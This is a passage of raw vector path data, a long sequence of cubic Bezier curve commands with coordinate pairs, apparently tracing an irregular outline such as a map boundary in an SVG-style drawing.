134097.69 102569.16C134076.46 102579.77 134055.23 102590.39 134034.00 102601.00C134012.28 102622.44 133990.45 102643.78 133968.79 102665.28C133936.86 102708.19 133904.93 102751.09 133873.00 102794.00C133873.00 102858.00 133873.00 102922.00 133873.00 102986.00C133851.67 103050.33 133830.33 103114.67 133809.00 103179.00C133809.00 103254.00 133809.00 103329.00 133809.00 103404.00C133851.67 103436.33 133894.33 103468.67 133937.00 103501.00C133969.33 103511.67 134001.67 103522.33 134034.00 103533.00C134055.33 103554.33 134076.67 103575.67 134098.00 103597.00C134108.67 103597.00 134119.33 103597.00 134130.00 103597.00C134130.00 103608.00 134130.00 103619.00 134130.00 103630.00C134173.00 103640.67 134216.00 103651.33 134259.00 103662.00C134259.00 103672.67 134259.00 103683.33 134259.00 103694.00C134248.33 103715.33 134237.67 103736.67 134227.00 103758.00C134237.67 103779.33 134248.33 103800.67 134259.00 103822.00C134248.33 103875.67 134237.67 103929.33 134227.00 103983.00C134248.33 104026.00 134269.67 104069.00 134291.00 104112.00C134323.00 104144.00 134355.00 104176.00 134387.00 104208.00C134387.00 104240.33 134387.00 104272.67 134387.00 104305.00C134408.67 104358.67 134430.33 104412.33 134452.00 104466.00C134430.33 104508.67 134408.67 104551.33 134387.00 104594.00C134398.00 104604.67 134409.00 104615.33 134420.00 104626.00C134409.00 104636.67 134398.00 104647.33 134387.00 104658.00C134419.33 104711.67 134451.67 104765.33 134484.00 104819.00C134484.00 104840.67 134484.00 104862.33 134484.00 104884.00C134473.33 104894.67 134462.67 104905.33 134452.00 104916.00C134452.00 104926.67 134452.00 104937.33 134452.00 104948.00C134430.22 104948.06 134408.42 104947.89 134386.66 104948.09C134172.21 105001.76 133957.77 105055.51 133743.31 105109.15C133593.54 105141.10 133443.77 105173.05 133294.00 105205.00C133251.26 105237.43 133208.44 105269.76 133165.75 105302.24C133154.83 105312.83 133143.92 105323.41 133133.00 105334.00C133122.33 105323.33 133111.67 105312.67 133101.00 105302.00C133090.33 105312.67 133079.67 105323.33 133069.00 105334.00C133036.72 105301.94 133004.94 105269.39 132973.00 105237.00C132951.33 105247.67 132929.67 105258.33 132908.00 105269.00C132918.67 105247.67 132929.33 105226.33 132940.00 105205.00C132929.33 105194.33 132918.67 105183.67 132908.00 105173.00C132897.33 105173.00 132886.67 105173.00 132876.00 105173.00C132886.67 105173.00 132897.33 105173.00 132908.00 105173.00C132897.33 105183.67 132886.67 105194.33 132876.00 105205.00C132865.33 105205.00 132854.67 105205.00 132844.00 105205.00C132844.00 105215.67 132844.00 105226.33 132844.00 105237.00C132833.33 105237.00 132822.67 105237.00 132812.00 105237.00C132812.00 105247.67 132812.00 105258.33 132812.00 105269.00C132801.33 105258.33 132790.67 105247.67 132780.00 105237.00C132769.33 105258.67 132758.67 105280.33 132748.00 105302.00C132758.67 105302.00 132769.33 105302.00 132780.00 105302.00C132769.33 105302.00 132758.67 105302.00 132748.00 105302.00C132748.00 105312.67 132748.00 105323.33 132748.00 105334.00C132758.67 105334.00 132769.33 105334.00 132780.00 105334.00C132769.33 105334.00 132758.67 105334.00 132748.00 105334.00C132758.67 105344.67 132769.33 105355.33 132780.00 105366.00C132769.33 105366.00 132758.67 105366.00 132748.00 105366.00C132758.67 105366.00 132769.33 105366.00 132780.00 105366.00C132769.33 105376.67 132758.67 105387.33 132748.00 105398.00C132737.00 105398.00 132726.00 105398.00 132715.00 105398.00C132704.33 105387.33 132693.67 105376.67 132683.00 105366.00C132683.00 105387.33 132683.00 105408.67 132683.00 105430.00C132661.67 105430.00 132640.33 105430.00 132619.00 105430.00C132619.00 105440.67 132619.00 105451.33 132619.00 105462.00C132608.33 105462.00 132597.67 105462.00 132587.00 105462.00C132587.00 105472.67 132587.00 105483.33 132587.00 105494.00C132568.86 105512.75 132550.73 105531.51 132532.17 105549.83C132529.11 105552.89 132526.06 105555.94 132523.00 105559.00C132523.00 105569.67 132523.00 105580.33 132523.00 105591.00C132490.67 105591.00 132458.33 105591.00 132426.00 105591.00C132404.67 105601.67 132383.33 105612.33 132362.00 105623.00C132351.33 105612.33 132340.67 105601.67 132330.00 105591.00C132297.67 105591.00 132265.33 105591.00 132233.00 105591.00C132233.00 105580.33 132233.00 105569.67 132233.00 105559.00C132233.00 105569.67 132233.00 105580.33 132233.00 105591.00C132222.33 105580.33 132211.67 105569.67 132201.00 105559.00C132201.00 105569.67 132201.00 105580.33 132201.00 105591.00C132179.67 105591.00 132158.33 105591.00 132137.00 105591.00C132137.00 105601.67 132137.00 105612.33 132137.00 105623.00C132137.00 105612.33 132137.00 105601.67 132137.00 105591.00C132137.00 105612.33 132137.00 105633.67 132137.00 105655.00C132115.33 105665.67 132093.67 105676.33 132072.00 105687.00C132083.00 105687.00 132094.00 105687.00 132105.00 105687.00C132083.33 105687.00 132061.67 105687.00 132040.00 105687.00C132040.00 105676.33 132040.00 105665.67 132040.00 105655.00C132029.33 105655.00 132018.67 105655.00 132008.00 105655.00C131997.33 105633.67 131986.67 105612.33 131976.00 105591.00C131965.33 105601.67 131954.67 105612.33 131944.00 105623.00C131944.00 105612.33 131944.00 105601.67 131944.00 105591.00C131933.33 105591.00 131922.67 105591.00 131912.00 105591.00C131912.00 105580.33 131912.00 105569.67 131912.00 105559.00C131890.33 105559.00 131868.67 105559.00 131847.00 105559.00C131847.00 105548.33 131847.00 105537.67 131847.00 105527.00C131836.33 105527.00 131825.67 105527.00 131815.00 105527.00C131815.00 105516.00 131815.00 105505.00 131815.00 105494.00C131804.33 105494.00 131793.67 105494.00 131783.00 105494.00C131783.00 105430.00 131783.00 105366.00 131783.00 105302.00C131793.67 105302.00 131804.33 105302.00 131815.00 105302.00C131815.00 105280.33 131815.00 105258.67 131815.00 105237.00C131804.33 105226.33 131793.67 105215.67 131783.00 105205.00C131804.33 105205.00 131825.67 105205.00 131847.00 105205.00C131847.00 105183.67 131847.00 105162.33 131847.00 105141.00C131836.33 105141.00 131825.67 105141.00 131815.00 105141.00C131815.00 105130.33 131815.00 105119.67 131815.00 105109.00C131825.67 105098.00 131836.33 105087.00 131847.00 105076.00C131825.67 105076.00 131804.33 105076.00 131783.00 105076.00C131793.67 105065.33 131804.33 105054.67 131815.00 105044.00C131804.33 105033.33 131793.67 105022.67 131783.00 105012.00C131783.00 104990.67 131783.00 104969.33 131783.00 104948.00C131772.33 104948.00 131761.67 104948.00 131751.00 104948.00C131761.67 104948.00 131772.33 104948.00 131783.00 104948.00C131793.67 104926.67 131804.33 104905.33 131815.00 104884.00C131815.00 104873.00 131815.00 104862.00 131815.00 104851.00C131804.33 104851.00 131793.67 104851.00 131783.00 104851.00C131793.67 104840.33 131804.33 104829.67 131815.00 104819.00C131815.00 104776.33 131815.00 104733.67 131815.00 104691.00C131825.67 104680.00 131836.33 104669.00 131847.00 104658.00C131857.67 104658.00 131868.33 104658.00 131879.00 104658.00C131879.00 104636.67 131879.00 104615.33 131879.00 104594.00C131890.00 104594.00 131901.00 104594.00 131912.00 104594.00C131912.00 104583.33 131912.00 104572.67 131912.00 104562.00C131922.67 104551.33 131933.33 104540.67 131944.00 104530.00C131954.67 104497.67 131965.33 104465.33 131976.00 104433.00C131986.67 104433.00 131997.33 104433.00 132008.00 104433.00C132008.00 104411.67 132008.00 104390.33 132008.00 104369.00C132018.67 104358.33 132029.33 104347.67 132040.00 104337.00C132040.00 104326.33 132040.00 104315.67 132040.00 104305.00C132040.00 104315.67 132040.00 104326.33 132040.00 104337.00C132040.00 104315.67 132040.00 104294.33 132040.00 104273.00C132050.67 104273.00 132061.33 104273.00 132072.00 104273.00C132072.00 104262.00 132072.00 104251.00 132072.00 104240.00C132061.33 104229.33 132050.67 104218.67 132040.00 104208.00C132040.00 104186.67 132040.00 104165.33 132040.00 104144.00C132050.67 104122.67 132061.33 104101.33 132072.00 104080.00C132072.00 104058.33 132072.00 104036.67 132072.00 104015.00C132061.33 104004.33 132050.67 103993.67 132040.00 103983.00C132029.33 103983.00 132018.67 103983.00 132008.00 103983.00C131997.33 103972.33 131986.67 103961.67 131976.00 103951.00C131986.67 103940.33 131997.33 103929.67 132008.00 103919.00C132008.00 103876.00 132008.00 103833.00 132008.00 103790.00C131997.33 103768.67 131986.67 103747.33 131976.00 103726.00C131997.33 103672.33 132018.67 103618.67 132040.00 103565.00C132050.67 103554.33 132061.33 103543.67 132072.00 103533.00C132061.33 103522.33 132050.67 103511.67 132040.00 103501.00C132029.23 103500.93 132018.41 103501.15 132007.67 103500.89C131975.78 103490.26 131943.89 103479.63 131912.00 103469.00C131869.00 103469.00 131826.00 103469.00 131783.00 103469.00C131772.33 103458.33 131761.67 103447.67 131751.00 103437.00C131751.00 103426.00 131751.00 103415.00 131751.00 103404.00C131740.33 103404.00 131729.67 103404.00 131719.00 103404.00C131697.33 103372.00 131675.67 103340.00 131654.00 103308.00C131632.67 103308.00 131611.33 103308.00 131590.00 103308.00C131590.00 103233.00 131590.00 103158.00 131590.00 103083.00C130346.67 103083.00 129103.33 103083.00 127860.00 103083.00C127860.00 103276.00 127860.00 103469.00 127860.00 103662.00C127838.67 103662.00 127817.33 103662.00 127796.00 103662.00C127774.67 103694.00 127753.33 103726.00 127732.00 103758.00C127721.27 103790.68 127710.36 103823.31 127699.74 103856.02C127688.82 103898.35 127677.91 103940.67 127667.00 103983.00C127667.00 104015.33 127667.00 104047.67 127667.00 104080.00C127688.67 104090.67 127710.33 104101.33 127732.00 104112.00C127753.33 104101.33 127774.67 104090.67 127796.00 104080.00C127806.67 104101.46 127817.53 104122.84 127828.08 104144.34C127838.72 104187.23 127849.36 104230.11 127860.00 104273.00C127849.33 104294.33 127838.67 104315.67 127828.00 104337.00C127817.33 104337.00 127806.67 104337.00 127796.00 104337.00C127763.96 104380.11 127731.80 104423.15 127699.84 104466.31C127688.89 104487.54 127677.95 104508.77 127667.00 104530.00C127624.33 104540.67 127581.67 104551.33 127539.00 104562.00C127517.33 104594.00 127495.67 104626.00 127474.00 104658.00C127474.05 104690.45 127473.91 104722.91 127474.07 104755.34C127485.05 104808.90 127496.02 104862.45 127507.00 104916.00C127517.67 104926.67 127528.33 104937.33 127539.00 104948.00C127528.33 104958.67 127517.67 104969.33 127507.00 104980.00C127507.00 105012.00 127507.00 105044.00 127507.00 105076.00C127517.67 105076.00 127528.33 105076.00 127539.00 105076.00C127539.00 105097.67 127539.00 105119.33 127539.00 105141.00C127528.33 105141.00 127517.67 105141.00 127507.00 105141.00C127507.00 105151.67 127507.00 105162.33 127507.00 105173.00C127517.67 105183.67 127528.33 105194.33 127539.00 105205.00C127549.67 105194.33 127560.33 105183.67 127571.00 105173.00C127592.33 105183.67 127613.67 105194.33 127635.00 105205.00C127635.00 105237.33 127635.00 105269.67 127635.00 105302.00C127613.67 105323.33 127592.33 105344.67 127571.00 105366.00C127581.67 105376.67 127592.33 105387.33 127603.00 105398.00C127592.27 105430.10 127581.65 105462.25 127570.84 105494.31C127560.23 105515.88 127549.61 105537.44 127539.00 105559.00C127539.00 105591.00 127539.00 105623.00 127539.00 105655.00C127528.33 105687.33 127517.67 105719.67 127507.00 105752.00C127507.00 105762.67 127507.00 105773.33 127507.00 105784.00C128235.67 105784.00 128964.33 105784.00 129693.00 105784.00C129907.45 105773.34 130121.90 105762.63 130336.35 105752.00C130925.90 105752.00 131515.45 105752.00 132105.00 105752.00C132105.00 105773.33 132105.00 105794.67 132105.00 105816.00C132094.00 105826.67 132083.00 105837.33 132072.00 105848.00C132083.00 105858.67 132094.00 105869.33 132105.00 105880.00C132105.00 105890.67 132105.00 105901.33 132105.00 105912.00C132094.00 105912.00 132083.00 105912.00 132072.00 105912.00C132072.00 105923.00 132072.00 105934.00 132072.00 105945.00C132061.33 105955.67 132050.67 105966.33 132040.00 105977.00C132040.00 105966.33 132040.00 105955.67 132040.00 105945.00C132029.33 105945.00 132018.67 105945.00 132008.00 105945.00C132008.00 105955.67 132008.00 105966.33 132008.00 105977.00C131997.33 105966.33 131986.67 105955.67 131976.00 105945.00C131976.00 105977.00 131976.00 106009.00 131976.00 106041.00C131965.33 106051.67 131954.67 106062.33 131944.00 106073.00C131954.67 106083.67 131965.33 106094.33 131976.00 106105.00C131965.33 106105.00 131954.67 106105.00 131944.00 106105.00C131944.00 106116.00 131944.00 106127.00 131944.00 106138.00C131922.33 106148.67 131900.67 106159.33 131879.00 106170.00C131890.00 106180.67 131901.00 106191.33 131912.00 106202.00C131912.00 106212.67 131912.00 106223.33 131912.00 106234.00C131922.67 106234.00 131933.33 106234.00 131944.00 106234.00C131933.33 106244.67 131922.67 106255.33 131912.00 106266.00C131922.67 106276.67 131933.33 106287.33 131944.00 106298.00C131933.33 106308.67 131922.67 106319.33 131912.00 106330.00C131922.67 106330.00 131933.33 106330.00 131944.00 106330.00C131954.67 106341.00 131965.33 106352.00 131976.00 106363.00C131976.00 106373.67 131976.00 106384.33 131976.00 106395.00C131965.33 106405.67 131954.67 106416.33 131944.00 106427.00C131954.67 106427.00 131965.33 106427.00 131976.00 106427.00C131986.67 106448.33 131997.33 106469.67 132008.00 106491.00C131997.33 106491.00 131986.67 106491.00 131976.00 106491.00C131997.33 106512.33 132018.67 106533.67 132040.00 106555.00C132029.33 106555.00 132018.67 106555.00 132008.00 106555.00C132018.67 106587.33 132029.33 106619.67 132040.00 106652.00C132029.33 106684.00 132018.67 106716.00 132008.00 106748.00C131997.33 106748.00 131986.67 106748.00 131976.00 106748.00C131976.00 106759.00 131976.00 106770.00 131976.00 106781.00C131954.67 106791.67 131933.33 106802.33 131912.00 106813.00C131901.00 106834.33 131890.00 106855.67 131879.00 106877.00C131890.00 106887.67 131901.00 106898.33 131912.00 106909.00C131901.00 106919.67 131890.00 106930.33 131879.00 106941.00C131879.00 106962.67 131879.00 106984.33 131879.00 107006.00C131868.33 107016.67 131857.67 107027.33 131847.00 107038.00C131836.33 107070.00 131825.67 107102.00 131815.00 107134.00C131804.33 107134.00 131793.67 107134.00 131783.00 107134.00C131772.12 107155.95 131761.46 107178.02 131750.45 107199.90C131718.30 107252.93 131686.15 107305.97 131654.00 107359.00C131632.67 107369.67 131611.33 107380.33 131590.00 107391.00C131571.86 107409.75 131553.73 107428.51 131535.17 107446.83C131532.11 107449.89 131529.06 107452.94 131526.00 107456.00C131536.67 107498.67 131547.33 107541.33 131558.00 107584.00C131547.33 107616.33 131536.67 107648.67 131526.00 107681.00C131504.33 107691.67 131482.67 107702.33 131461.00 107713.00C131450.33 107734.33 131439.67 107755.67 131429.00 107777.00C131418.33 107788.00 131407.67 107799.00 131397.00 107810.00C131397.00 107874.00 131397.00 107938.00 131397.00 108002.00C131407.69 108013.13 131418.61 108024.09 131429.16 108035.31C131439.77 108056.54 131450.39 108077.77 131461.00 108099.00C131461.00 108120.33 131461.00 108141.67 131461.00 108163.00C131482.67 108163.00 131504.33 108163.00 131526.00 108163.00C131515.33 108173.67 131504.67 108184.33 131494.00 108195.00C131504.67 108205.67 131515.33 108216.33 131526.00 108227.00C131526.00 108216.33 131526.00 108205.67 131526.00 108195.00C131536.67 108205.67 131547.33 108216.33 131558.00 108227.00C131568.67 108216.33 131579.33 108205.67 131590.00 108195.00C131600.67 108205.67 131611.33 108216.33 131622.00 108227.00C131611.33 108238.00 131600.67 108249.00 131590.00 108260.00C131600.67 108260.00 131611.33 108260.00 131622.00 108260.00C131611.33 108270.67 131600.67 108281.33 131590.00 108292.00C131600.67 108292.00 131611.33 108292.00 131622.00 108292.00C131611.33 108302.67 131600.67 108313.33 131590.00 108324.00C131622.33 108324.00 131654.67 108324.00 131687.00 108324.00C131687.00 108334.67 131687.00 108345.33 131687.00 108356.00C131697.67 108366.67 131708.33 108377.33 131719.00 108388.00C131719.00 108377.33 131719.00 108366.67 131719.00 108356.00C131740.33 108356.00 131761.67 108356.00 131783.00 108356.00C131783.00 108388.33 131783.00 108420.67 131783.00 108453.00C131793.67 108453.00 131804.33 108453.00 131815.00 108453.00C131815.00 108442.00 131815.00 108431.00 131815.00 108420.00C131836.33 108409.33 131857.67 108398.67 131879.00 108388.00C131879.00 108398.67 131879.00 108409.33 131879.00 108420.00C131900.67 108420.00 131922.33 108420.00 131944.00 108420.00C131944.00 108431.00 131944.00 108442.00 131944.00 108453.00C131954.67 108453.00 131965.33 108453.00 131976.00 108453.00C131965.33 108453.00 131954.67 108453.00 131944.00 108453.00C131954.67 108463.67 131965.33 108474.33 131976.00 108485.00C131965.33 108495.67 131954.67 108506.33 131944.00 108517.00C131954.67 108527.67 131965.33 108538.33 131976.00 108549.00C131997.33 108527.67 132018.67 108506.33 132040.00 108485.00C132040.00 108474.33 132040.00 108463.67 132040.00 108453.00C132050.67 108463.67 132061.33 108474.33 132072.00 108485.00C132061.33 108506.33 132050.67 108527.67 132040.00 108549.00C132050.67 108538.33 132061.33 108527.67 132072.00 108517.00C132083.00 108538.33 132094.00 108559.67 132105.00 108581.00C132105.00 108591.67 132105.00 108602.33 132105.00 108613.00C132115.67 108602.33 132126.33 108591.67 132137.00 108581.00C132147.67 108581.00 132158.33 108581.00 132169.00 108581.00C132169.00 108602.67 132169.00 108624.33 132169.00 108646.00C132179.67 108635.00 132190.33 108624.00 132201.00 108613.00C132201.00 108634.67 132201.00 108656.33 132201.00 108678.00C132211.67 108678.00 132222.33 108678.00 132233.00 108678.00C132233.00 108699.33 132233.00 108720.67 132233.00 108742.00C132243.67 108752.67 132254.33 108763.33 132265.00 108774.00C132283.25 108755.70 132301.51 108737.40 132320.18 108719.52C132323.45 108716.35 132326.73 108713.17 132330.00 108710.00C132340.67 108731.33 132351.33 108752.67 132362.00 108774.00C132351.33 108774.00 132340.67 108774.00 132330.00 108774.00C132340.67 108774.00 132351.33 108774.00 132362.00 108774.00C132372.67 108784.67 132383.33 108795.33 132394.00 108806.00C132372.67 108816.67 132351.33 108827.33 132330.00 108838.00C132340.67 108849.00 132351.33 108860.00 132362.00 108871.00C132372.67 108860.00 132383.33 108849.00 132394.00 108838.00C132394.00 108870.33 132394.00 108902.67 132394.00 108935.00C132383.33 108945.67 132372.67 108956.33 132362.00 108967.00C132383.33 108967.00 132404.67 108967.00 132426.00 108967.00C132447.33 108977.67 132468.67 108988.33 132490.00 108999.00C132490.00 109031.33 132490.00 109063.67 132490.00 109096.00C132479.33 109096.00 132468.67 109096.00 132458.00 109096.00C132468.67 109106.67 132479.33 109117.33 132490.00 109128.00C132479.31 109138.79 132468.38 109149.41 132457.84 109160.31C132447.23 109181.54 132436.61 109202.77 132426.00 109224.00C132436.67 109234.67 132447.33 109245.33 132458.00 109256.00C132468.67 109256.00 132479.33 109256.00 132490.00 109256.00C132479.33 109256.00 132468.67 109256.00 132458.00 109256.00C132458.00 109277.67 132458.00 109299.33 132458.00 109321.00C132479.67 109321.00 132501.33 109321.00 132523.00 109321.00C132523.00 109374.33 132523.00 109427.67 132523.00 109481.00C132544.33 109492.00 132565.67 109503.00 132587.00 109514.00C132576.33 109524.67 132565.67 109535.33 132555.00 109546.00C132555.00 109556.67 132555.00 109567.33 132555.00 109578.00C132587.00 109567.33 132619.00 109556.67 132651.00 109546.00C132629.67 109567.33 132608.33 109588.67 132587.00 109610.00C132597.67 109642.33 132608.33 109674.67 132619.00 109707.00C132619.00 109717.67 132619.00 109728.33 132619.00 109739.00C132597.67 109739.00 132576.33 109739.00 132555.00 109739.00C132565.67 109760.33 132576.33 109781.67 132587.00 109803.00C132597.67 109803.00 132608.33 109803.00 132619.00 109803.00C132619.00 109813.67 132619.00 109824.33 132619.00 109835.00C132629.67 109835.00 132640.33 109835.00 132651.00 109835.00C132640.33 109845.67 132629.67 109856.33 132619.00 109867.00C132608.33 109867.00 132597.67 109867.00 132587.00 109867.00C132597.67 109877.67 132608.33 109888.33 132619.00 109899.00C132629.67 109899.00 132640.33 109899.00 132651.00 109899.00C132640.33 109920.67 132629.67 109942.33 132619.00 109964.00C132640.33 109953.33 132661.67 109942.67 132683.00 109932.00C132693.67 109932.00 132704.33 109932.00 132715.00 109932.00C132726.00 109953.33 132737.00 109974.67 132748.00 109996.00C132758.67 109996.00 132769.33 109996.00 132780.00 109996.00C132790.67 110006.67 132801.33 110017.33 132812.00 110028.00C132779.67 110038.67 132747.33 110049.33 132715.00 110060.00C132726.00 110070.67 132737.00 110081.33 132748.00 110092.00C132748.00 110103.00 132748.00 110114.00 132748.00 110125.00C132758.67 110114.00 132769.33 110103.00 132780.00 110092.00C132790.67 110103.00 132801.33 110114.00 132812.00 110125.00C132801.33 110135.67 132790.67 110146.33 132780.00 110157.00C132801.33 110167.67 132822.67 110178.33 132844.00 110189.00C132833.33 110199.67 132822.67 110210.33 132812.00 110221.00C132822.67 110231.67 132833.33 110242.33 132844.00 110253.00C132854.67 110242.33 132865.33 110231.67 132876.00 110221.00C132876.00 110231.67 132876.00 110242.33 132876.00 110253.00C132897.33 110263.67 132918.67 110274.33 132940.00 110285.00C132951.00 110295.67 132962.00 110306.33 132973.00 110317.00C132962.00 110328.00 132951.00 110339.00 132940.00 110350.00C132908.00 110360.67 132876.00 110371.33 132844.00 110382.00C132865.33 110382.00 132886.67 110382.00 132908.00 110382.00C132908.00 110392.67 132908.00 110403.33 132908.00 110414.00C132897.33 110414.00 132886.67 110414.00 132876.00 110414.00C132876.00 110424.67 132876.00 110435.33 132876.00 110446.00C132897.33 110435.33 132918.67 110424.67 132940.00 110414.00C132940.00 110424.67 132940.00 110435.33 132940.00 110446.00C132918.67 110456.67 132897.33 110467.33 132876.00 110478.00C132886.67 110488.67 132897.33 110499.33 132908.00 110510.00C132886.67 110510.00 132865.33 110510.00 132844.00 110510.00C132854.67 110521.00 132865.33 110532.00 132876.00 110543.00C132865.33 110543.00 132854.67 110543.00 132844.00 110543.00C132844.00 110553.67 132844.00 110564.33 132844.00 110575.00C132833.33 110564.33 132822.67 110553.67 132812.00 110543.00C132812.00 110553.67 132812.00 110564.33 132812.00 110575.00C132812.00 110564.33 132812.00 110553.67 132812.00 110543.00C132801.33 110553.67 132790.67 110564.33 132780.00 110575.00C132780.00 110585.67 132780.00 110596.33 132780.00 110607.00C132769.33 110607.00 132758.67 110607.00 132748.00 110607.00C132758.67 110617.67 132769.33 110628.33 132780.00 110639.00C132758.33 110628.33 132736.67 110617.67 132715.00 110607.00C132715.00 110596.33 132715.00 110585.67 132715.00 110575.00C132704.33 110575.00 132693.67 110575.00 132683.00 110575.00C132683.00 110607.00 132683.00 110639.00 132683.00 110671.00C132693.67 110671.00 132704.33 110671.00 132715.00 110671.00C132704.33 110681.67 132693.67 110692.33 132683.00 110703.00C132683.00 110692.33 132683.00 110681.67 132683.00 110671.00C132672.33 110681.67 132661.67 110692.33 132651.00 110703.00C132640.33 110703.00 132629.67 110703.00 132619.00 110703.00C132619.00 110713.67 132619.00 110724.33 132619.00 110735.00C132629.67 110735.00 132640.33 110735.00 132651.00 110735.00C132640.33 110746.00 132629.67 110757.00 132619.00 110768.00C132608.33 110757.00 132597.67 110746.00 132587.00 110735.00C132576.33 110746.00 132565.67 110757.00 132555.00 110768.00C132565.67 110778.67 132576.33 110789.33 132587.00 110800.00C132554.67 110789.33 132522.33 110778.67 132490.00 110768.00C132490.00 110778.67 132490.00 110789.33 132490.00 110800.00C132479.33 110800.00 132468.67 110800.00 132458.00 110800.00C132458.00 110810.67 132458.00 110821.33 132458.00 110832.00C132468.67 110832.00 132479.33 110832.00 132490.00 110832.00C132479.33 110832.00 132468.67 110832.00 132458.00 110832.00C132447.33 110821.33 132436.67 110810.67 132426.00 110800.00C132415.33 110810.67 132404.67 110821.33 132394.00 110832.00C132394.00 110821.33 132394.00 110810.67 132394.00 110800.00C132394.00 110832.00 132394.00 110864.00 132394.00 110896.00C132383.33 110896.00 132372.67 110896.00 132362.00 110896.00C132351.33 110885.33 132340.67 110874.67 132330.00 110864.00C132330.00 110874.67 132330.00 110885.33 132330.00 110896.00C132319.00 110885.33 132308.00 110874.67 132297.00 110864.00C132297.00 110896.33 132297.00 110928.67 132297.00 110961.00C132286.33 110939.33 132275.67 110917.67 132265.00 110896.00C132254.33 110917.67 132243.67 110939.33 132233.00 110961.00C132243.67 110971.67 132254.33 110982.33 132265.00 110993.00C132254.33 110993.00 132243.67 110993.00 132233.00 110993.00C132233.00 111003.67 132233.00 111014.33 132233.00 111025.00C132222.33 111035.67 132211.67 111046.33 132201.00 111057.00C132211.67 111078.33 132222.33 111099.67 132233.00 111121.00C132211.67 111110.33 132190.33 111099.67 132169.00 111089.00C132147.67 111099.67 132126.33 111110.33 132105.00 111121.00C132115.67 111131.67 132126.33 111142.33 132137.00 111153.00C132126.33 111164.00 132115.67 111175.00 132105.00 111186.00C132094.00 111164.33 132083.00 111142.67 132072.00 111121.00C132050.67 111131.67 132029.33 111142.33 132008.00 111153.00C132008.00 111142.33 132008.00 111131.67 132008.00 111121.00C131997.33 111131.67 131986.67 111142.33 131976.00 111153.00C131986.67 111164.00 131997.33 111175.00 132008.00 111186.00C131997.33 111196.67 131986.67 111207.33 131976.00 111218.00C131943.67 111218.00 131911.33 111218.00 131879.00 111218.00C131890.00 111228.67 131901.00 111239.33 131912.00 111250.00C131901.00 111260.67 131890.00 111271.33 131879.00 111282.00C131900.67 111292.67 131922.33 111303.33 131944.00 111314.00C131911.67 111314.00 131879.33 111314.00 131847.00 111314.00C131868.67 111335.67 131890.33 111357.33 131912.00 111379.00C131912.00 111389.67 131912.00 111400.33 131912.00 111411.00C131901.00 111411.00 131890.00 111411.00 131879.00 111411.00C131879.00 111400.33 131879.00 111389.67 131879.00 111379.00C131868.33 111389.67 131857.67 111400.33 131847.00 111411.00C131847.00 111432.33 131847.00 111453.67 131847.00 111475.00C131815.00 111475.00 131783.00 111475.00 131751.00 111475.00C131740.33 111485.67 131729.67 111496.33 131719.00 111507.00C131729.67 111528.33 131740.33 111549.67 131751.00 111571.00C131740.33 111571.00 131729.67 111571.00 131719.00 111571.00C131729.67 111582.00 131740.33 111593.00 131751.00 111604.00C131740.33 111614.67 131729.67 111625.33 131719.00 111636.00C131708.33 111625.33 131697.67 111614.67 131687.00 111604.00C131665.33 111604.00 131643.67 111604.00 131622.00 111604.00C131622.00 111625.33 131622.00 111646.67 131622.00 111668.00C131600.67 111668.00 131579.33 111668.00 131558.00 111668.00C131568.67 111678.67 131579.33 111689.33 131590.00 111700.00C131590.00 111710.67 131590.00 111721.33 131590.00 111732.00C131558.00 111742.67 131526.00 111753.33 131494.00 111764.00C131494.00 111775.00 131494.00 111786.00 131494.00 111797.00C131504.67 111797.00 131515.33 111797.00 131526.00 111797.00C131536.67 111807.67 131547.33 111818.33 131558.00 111829.00C131558.00 111839.67 131558.00 111850.33 131558.00 111861.00C131547.33 111871.67 131536.67 111882.33 131526.00 111893.00C131536.67 111914.33 131547.33 111935.67 131558.00 111957.00C131558.00 111967.67 131558.00 111978.33 131558.00 111989.00C131536.67 111978.33 131515.33 111967.67 131494.00 111957.00C131483.00 111967.67 131472.00 111978.33 131461.00 111989.00C131450.33 111989.00 131439.67 111989.00 131429.00 111989.00C131429.00 112000.00 131429.00 112011.00 131429.00 112022.00C131418.33 112022.00 131407.67 112022.00 131397.00 112022.00C131418.33 112043.33 131439.67 112064.67 131461.00 112086.00C131450.33 112096.67 131439.67 112107.33 131429.00 112118.00C131429.00 112107.33 131429.00 112096.67 131429.00 112086.00C131407.67 112086.00 131386.33 112086.00 131365.00 112086.00C131375.67 112096.67 131386.33 112107.33 131397.00 112118.00C131386.33 112128.67 131375.67 112139.33 131365.00 112150.00C131354.33 112128.67 131343.67 112107.33 131333.00 112086.00C131300.67 112096.67 131268.33 112107.33 131236.00 112118.00C131236.00 112107.33 131236.00 112096.67 131236.00 112086.00C131225.33 112086.00 131214.67 112086.00 131204.00 112086.00C131204.00 112075.33 131204.00 112064.67 131204.00 112054.00C131182.67 112043.33 131161.33 112032.67 131140.00 112022.00C131140.00 112011.00 131140.00 112000.00 131140.00 111989.00C131140.00 112010.67 131140.00 112032.33 131140.00 112054.00C131150.67 112054.00 131161.33 112054.00 131172.00 112054.00C131140.00 112075.33 131108.00 112096.67 131076.00 112118.00C131086.67 112128.67 131097.33 112139.33 131108.00 112150.00C131108.00 112182.33 131108.00 112214.67 131108.00 112247.00C131097.33 112257.67 131086.67 112268.33 131076.00 112279.00C131065.00 112268.33 131054.00 112257.67 131043.00 112247.00C131043.00 112268.33 131043.00 112289.67 131043.00 112311.00C131032.33 112311.00 131021.67 112311.00 131011.00 112311.00C131021.67 112321.67 131032.33 112332.33 131043.00 112343.00C131043.00 112353.67 131043.00 112364.33 131043.00 112375.00C131054.00 112375.00 131065.00 112375.00 131076.00 112375.00C131076.00 112385.67 131076.00 112396.33 131076.00 112407.00C131054.33 112407.00 131032.67 112407.00 131011.00 112407.00C131021.67 112418.00 131032.33 112429.00 131043.00 112440.00C131043.00 112450.67 131043.00 112461.33 131043.00 112472.00C131054.00 112472.00 131065.00 112472.00 131076.00 112472.00C131076.00 112504.00 131076.00 112536.00 131076.00 112568.00C131054.33 112568.00 131032.67 112568.00 131011.00 112568.00C131000.33 112589.33 130989.67 112610.67 130979.00 112632.00C130989.77 112632.08 131000.59 112631.85 131011.33 112632.11C131043.55 112643.08 131075.78 112654.04 131108.00 112665.00C131118.67 112686.33 131129.33 112707.67 131140.00 112729.00C131150.67 112739.67 131161.33 112750.33 131172.00 112761.00C131172.00 112825.33 131172.00 112889.67 131172.00 112954.00C131182.67 112954.00 131193.33 112954.00 131204.00 112954.00C131214.67 112964.67 131225.33 112975.33 131236.00 112986.00C131257.67 112954.00 131279.33 112922.00 131301.00 112890.00C131311.67 112932.67 131322.33 112975.33 131333.00 113018.00C131354.33 113018.00 131375.67 113018.00 131397.00 113018.00C131407.67 113007.33 131418.33 112996.67 131429.00 112986.00C131482.67 112975.33 131536.33 112964.67 